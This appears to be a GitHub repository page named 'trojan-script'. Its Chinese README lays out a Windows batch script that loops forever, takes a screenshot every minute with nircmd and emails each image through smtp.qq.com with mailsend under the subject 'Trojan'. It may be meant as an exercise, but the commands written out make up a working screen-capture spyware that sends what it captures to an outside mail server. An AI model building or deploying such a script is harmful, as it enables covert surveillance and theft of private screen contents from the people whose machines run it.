Skip to content

anjingcuc/trojan-script

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

脚本提示

先关闭批处理的回显:

@echo off

然后设置 PATH 环境变量为当前目录下的 bin 子目录,此处应该使用 PATH 命令。用法为:

PATH path

同时要注意使用 %CD% 来获取当前目录。

然后进入循环,这里使用 goto 来实现永远循环。

:loop

REM do something

goto loop

使用 bin 目录下的 nircmd 来实现截屏:

nircmd savescreenshot 1.png

使用 bin 目录下的 mailsend 来实现邮件发送,以 QQ 邮箱为例:

mailsend -to <dest_mail_address> -from <src_mail_address> -ssl -port 465 -auth-login -smtp smtp.qq.com -sub "Trojan" -user <username> -pass "<password>" -attach <image_path>

请将上面的命令中 <> 包裹起来的内容替换为你自己的内容然后去掉尖括号,其中 dest_mail_address 应该替换为收件邮箱地址,src_mail_address 替换为发件邮箱地址,username 替换为 QQ 邮箱用户名, password 替换为 QQ 邮箱的一次性客户端密码,image_path 替换成图片文件名,比如 1.png

使用 bin 目录下的 nircmd 来实现等待一段时间:

nircmd wait 60000

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published